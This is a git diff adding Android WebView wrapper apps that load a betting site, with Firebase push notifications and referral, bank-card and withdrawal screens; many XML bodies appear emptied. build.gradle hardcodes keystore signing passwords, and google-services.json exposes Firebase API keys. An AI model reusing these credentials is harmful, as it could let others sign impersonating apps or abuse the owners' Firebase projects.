b/2uob/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/2uob/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/2uob/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/2uob/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/2uob/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/2uob/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/2uob/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/2uob/src/main/res/mipmap-hdpi/ic_empty.png b/2uob/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/2uob/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/2uob/src/main/res/mipmap-hdpi/ic_pull_down.png b/2uob/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/2uob/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/2uob/src/main/res/mipmap-xhdpi/ic_close.png b/2uob/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/2uob/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/2uob/src/main/res/mipmap-xhdpi/ic_menu.png b/2uob/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/2uob/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/2uob/src/main/res/mipmap-xxhdpi/app_logo.png b/2uob/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..2825680 Binary files /dev/null and b/2uob/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/2uob/src/main/res/values-en/strings.xml b/2uob/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/2uob/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/2uob/src/main/res/values-night/themes.xml b/2uob/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/2uob/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/2uob/src/main/res/values/colors.xml b/2uob/src/main/res/values/colors.xml new file mode 100644 index 0000000..c06d927 --- /dev/null +++ b/2uob/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #66008f + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/2uob/src/main/res/values/strings.xml b/2uob/src/main/res/values/strings.xml new file mode 100644 index 0000000..e52b21b --- /dev/null +++ b/2uob/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + 2UOB + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/2uob/src/main/res/values/themes.xml b/2uob/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/2uob/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/2uob/src/main/res/xml/app_updater_paths.xml b/2uob/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/2uob/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/2uob/src/main/res/xml/network_security_config.xml b/2uob/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/2uob/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/2uob/src/main/res/xml/provider_paths.xml b/2uob/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/2uob/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/2uob/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/2uob/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/2uob/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/711bet/.gitignore b/711bet/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/711bet/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/711bet/build.gradle b/711bet/build.gradle new file mode 100644 index 0000000..1ad1ab0 --- /dev/null +++ b/711bet/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.bet711" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "711bet" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/711bet/dskjweb.jks b/711bet/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/711bet/dskjweb.jks differ diff --git a/ttslot888new/nep88/google-services.json b/711bet/google-services.json similarity index 53% rename from ttslot888new/nep88/google-services.json rename to 711bet/google-services.json index 51672f9..89482bd 100644 --- a/ttslot888new/nep88/google-services.json +++ b/711bet/google-services.json @@ -1,21 +1,21 @@ { "project_info": { - "project_number": "563249922677", - "project_id": "sking668", - "storage_bucket": "sking668.firebasestorage.app" + "project_number": "959352011569", + "project_id": "bet-e209b", + "storage_bucket": "bet-e209b.firebasestorage.app" }, "client": [ { "client_info": { - "mobilesdk_app_id": "1:563249922677:android:4f1a9cf79d82cea8f32e3c", + "mobilesdk_app_id": "1:959352011569:android:74c25e3bc6156e772dce10", "android_client_info": { - "package_name": "com.web.sking668" + "package_name": "com.web.bet711" } }, "oauth_client": [], "api_key": [ { - "current_key": "AIzaSyDAJ4p-dLJYr5oGFiLvopwQC5h5M716zk4" + "current_key": "AIzaSyCqGrtP29OJHiNyhgp1BiUjLvjU_UzjYS4" } ], "services": { diff --git a/711bet/ppn.jks b/711bet/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/711bet/ppn.jks differ diff --git a/711bet/proguard-rules.pro b/711bet/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/711bet/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/711bet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/711bet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/711bet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/711bet/src/main/AndroidManifest.xml b/711bet/src/main/AndroidManifest.xml new file mode 100644 index 0000000..3fda1d2 --- /dev/null +++ b/711bet/src/main/AndroidManifest.xml @@ -0,0 +1,98 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/711bet/src/main/java/com/web/bet711/MainActivity.java b/711bet/src/main/java/com/web/bet711/MainActivity.java new file mode 100644 index 0000000..87d3df0 --- /dev/null +++ b/711bet/src/main/java/com/web/bet711/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.bet711; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 219; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://711bet.bz/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#007d5d"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#007d5d"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色t + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.logo11); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/711bet/src/main/java/com/web/bet711/MyFirebaseMessageingService.java b/711bet/src/main/java/com/web/bet711/MyFirebaseMessageingService.java new file mode 100644 index 0000000..512e4ed --- /dev/null +++ b/711bet/src/main/java/com/web/bet711/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.bet711; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/711bet/src/main/java/com/web/bet711/WebApplication.java b/711bet/src/main/java/com/web/bet711/WebApplication.java new file mode 100644 index 0000000..bb21a6d --- /dev/null +++ b/711bet/src/main/java/com/web/bet711/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.bet711; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/711bet/src/main/res/drawable-anydpi/ic_action_back.xml b/711bet/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/711bet/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/711bet/src/main/res/drawable-hdpi/ic_action_back.png b/711bet/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/711bet/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/711bet/src/main/res/drawable-mdpi/ic_action_back.png b/711bet/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/711bet/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/711bet/src/main/res/drawable-v24/ic_launcher_foreground.xml b/711bet/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/711bet/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/711bet/src/main/res/drawable-xhdpi/ic_action_back.png b/711bet/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/711bet/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/711bet/src/main/res/drawable-xxhdpi/ic_action_back.png b/711bet/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/711bet/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/711bet/src/main/res/drawable/big_bg.xml b/711bet/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..f8ea326 --- /dev/null +++ b/711bet/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/711bet/src/main/res/drawable/ic_launcher_background.xml b/711bet/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/711bet/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/711bet/src/main/res/drawable/input_bg.xml b/711bet/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/711bet/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/711bet/src/main/res/drawable/pass_word_bg.xml b/711bet/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/711bet/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/711bet/src/main/res/drawable/pass_word_bg1.xml b/711bet/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/711bet/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/711bet/src/main/res/drawable/pass_word_bg2.xml b/711bet/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/711bet/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/711bet/src/main/res/drawable/shape_btn_bg.xml b/711bet/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/711bet/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/711bet/src/main/res/drawable/shape_dialog_bg2.xml b/711bet/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/711bet/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/711bet/src/main/res/drawable/shape_dialog_bg3.xml b/711bet/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/711bet/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/711bet/src/main/res/drawable/shape_dialog_bg_new.xml b/711bet/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/711bet/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/711bet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/711bet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/711bet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/711bet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/711bet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/711bet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/711bet/src/main/res/mipmap-hdpi/ic_empty.png b/711bet/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/711bet/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/711bet/src/main/res/mipmap-hdpi/ic_pull_down.png b/711bet/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/711bet/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/711bet/src/main/res/mipmap-xhdpi/ic_close.png b/711bet/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/711bet/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/711bet/src/main/res/mipmap-xhdpi/ic_menu.png b/711bet/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/711bet/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/711bet/src/main/res/mipmap-xxhdpi/app_logo.png b/711bet/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..ca2729d Binary files /dev/null and b/711bet/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/711bet/src/main/res/values-en/strings.xml b/711bet/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/711bet/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/711bet/src/main/res/values-night/themes.xml b/711bet/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/711bet/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/711bet/src/main/res/values/colors.xml b/711bet/src/main/res/values/colors.xml new file mode 100644 index 0000000..d91db7f --- /dev/null +++ b/711bet/src/main/res/values/colors.xml @@ -0,0 +1,17 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #007d5d + #2C2C2E + #FFA722 + #434343 + #BCBCBC + \ No newline at end of file diff --git a/711bet/src/main/res/values/strings.xml b/711bet/src/main/res/values/strings.xml new file mode 100644 index 0000000..81a3a6b --- /dev/null +++ b/711bet/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + 711BET + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git 